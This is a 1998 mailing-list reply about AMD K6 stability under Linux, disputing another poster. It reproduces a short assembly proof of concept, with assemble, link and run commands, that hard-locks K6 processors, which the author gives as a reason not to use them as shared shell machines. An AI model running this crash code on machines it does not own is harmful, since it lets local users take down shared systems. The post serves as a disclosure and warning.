> On Mon, 16 Nov 1998, Peter Lukas wrote:
> > It should also be noted that K6's are rumored to be less stable under
> > Linux than Intel processors (there was a website on this very subject,
> > although I am unable to find it in my bookmarks).
>
> The Linux machine at my work is a K6 233 and it is rock solid. Its been
> up for 110 days. It does light SMTP, and medium/heavy web/database work.
> I've never heard of anyone saying that Linux was anything less than rock
> solid on a K6.
There's a specific posted piece of code that locks K6 (but not apparently
K6-2) up. Its well known in the cracker community and you should never
use a K6 for a shell machine. Its akin to the F00F bug except that Intel
published a fix and AMD ignore email and put the phone down on people
who ask about theirs
It was first reported by Wolfgang Walter <[EMAIL PROTECTED]>
in June.
$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
[crash]
The crash is so solid the soft power on on ATX boards wont work afterwards
and you'll need to use the hard switch.
